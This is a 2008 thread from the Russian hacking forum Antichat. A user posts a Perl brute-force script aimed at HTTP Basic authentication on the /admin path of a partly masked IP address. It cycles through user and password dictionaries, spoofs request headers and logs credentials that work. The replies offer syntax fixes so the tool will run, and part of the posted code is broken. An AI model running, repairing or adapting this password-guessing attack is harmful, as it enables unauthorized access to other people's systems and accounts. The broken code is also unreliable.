ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

При компиле эррор :s
  #1  
Старый 19.03.2008, 12:22
Аватар для IIAHbI4
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
Отправить сообщение для IIAHbI4 с помощью ICQ
По умолчанию При компиле эррор :s

вобщем попытался написать небольшой перловый брут форс для веб формы.Вроде бы всё нормально но при канпеляции выдаёт :

Код:
C:\Documents and Settings\Паныч>perl brut.pl
syntax error at brut.pl line 13, near "=;"
syntax error at brut.pl line 17, near "=;"
Execution of brut.pl aborted due to compilation errors.
что не так в синтаксисе?

Код:
#!/usr/bin/perl 
use MIME::Base64; 
use IO::Socket; 
use POSIX; 
$server="***.***.60.23"; 
$port="80"; 
$dir="/admin"; 
$logfile="sucess.log"; 
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) 
$words="bigdict.txt"; 
$users="users.txt"; 
open(file, "<$words") or die print "$!\n"; 
@pwd_data=; 
$total=@pwd_data; 
close file; ### Записываем все пароли в один массив 
open(file, "<$users") or die print "$!\n"; 
@users_data=; 
$total*=@users_data; 
close file; ### Записываем всех пользователей в один массив 
$i=0; 
foreach $user (@users_data) { 
   foreach $pass (@pwd_data) { 
      $i++; 
      chomp($pass); 
      chomp($user); 
      open(file, ">$log") or die print "$!\n"; 
      $perc=($i*100)/$total; 
      $perc=ceil($perc); ### Высчитываем процент 
      print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус 
      close file; 
	$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш 
      chomp($auth); 	
	### Порождаем сокет 
      $socket=IO::Socket::INET->new( PeerAddr => $server,   PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n"; 
      print $socket "GET $dir HTTP/1.1\n"; 
      print $socket "Host: $server\n"; 
      print $socket "Accept: */*\n";    
      print $socket "Referer: http://support.microsoft.com/\n"; 
      print $socket "User-Agent: Internet Explorer 6.0\n"; 
      print $socket "Pragma: no-cache\n"; 
      print $socket "Cache-Control: no-cache\n"; 
      print $socket "Authorization: Basic $auth\n"; 
      print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш 

      $ans=<$socket>; ### Получаем ответ от сервера 
    
       
      if ($ans=~/200 Ok/i or $ans=~/301/i) { 
         open(logf, ">>$logfile") or die print "$!\n"; ### пишем в success-лог 
         print logf "$user:$pass is OK!!!\n"; 
         close logf; 
      } 
      close($socket); 
   } 
}
_____________________________________________
maby yes or maby not, а мне по*** я .:ЕноТ:.
 
Ответить с цитированием

  #2  
Старый 19.03.2008, 15:04
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

@pwd_data=();
@users_data=();
Наверное, все таки, так =))))
Получалось так, что ты приравниваещь к чему-то, а к чему непонятно(точнее к ; ) =))
ЗЫЖ Можно просто my @pwd_data; и my @users_data;
И совет небольшой: юзай в скриптах use warnings и use strict;

Последний раз редактировалось biophreak; 19.03.2008 в 15:06..
 
Ответить с цитированием

  #3  
Старый 19.03.2008, 15:22
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Код:
@pwd_data='';
@users_data='';
 
Ответить с цитированием

  #4  
Старый 19.03.2008, 15:31
Аватар для KSURi
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

хуя исис хакер... а почему так?
 
Ответить с цитированием

  #5  
Старый 19.03.2008, 16:04
Аватар для IIAHbI4
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
Отправить сообщение для IIAHbI4 с помощью ICQ
По умолчанию

попробовал и те и другие операторы ... ниху* ... не реагирует вообще никак.

разобрался в чём косяк, но тепер ьскрипт не брутит :\
создаёт 2 файла now и sucess пустые.Хотя в нау.тхт должен быть лог а там 100% Done 1 of 1 Now: :

Последний раз редактировалось IIAHbI4; 19.03.2008 в 16:15..
 
Ответить с цитированием

  #6  
Старый 19.03.2008, 16:16
Аватар для biophreak
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

А если заменить запись в файл на простой print - будет чтонить на экран писать?
 
Ответить с цитированием

  #7  
Старый 19.03.2008, 16:25
Аватар для IIAHbI4
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
Отправить сообщение для IIAHbI4 с помощью ICQ
По умолчанию

да он не брутит помоему... ладн прийду после работы почикаюсь с ним.Будут идеи ложите сюда.
 
Ответить с цитированием

  #8  
Старый 19.03.2008, 19:18
Аватар для Piflit
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

Цитата:
Сообщение от Isis  
Код:
@pwd_data='';
@users_data='';
ыы

мб так?

my @pwd_data;
my @users_data;
 
Ответить с цитированием

  #9  
Старый 19.03.2008, 20:46
Аватар для IIAHbI4
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
Отправить сообщение для IIAHbI4 с помощью ICQ
По умолчанию

неа ... мда .... херня какайто.
 
Ответить с цитированием

  #10  
Старый 20.03.2008, 13:07
Аватар для IIAHbI4
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
Отправить сообщение для IIAHbI4 с помощью ICQ
По умолчанию

никак не могу до ума довести, помогёт ктонить?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Перехват Gsm пакетов SNIFF Сотовый фрикинг 16 27.12.2009 22:25
Как «растянуть» аккумулятор novichok Сотовый фрикинг 4 28.02.2006 22:47
химия своими руками silveran Болталка 43 11.01.2006 22:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ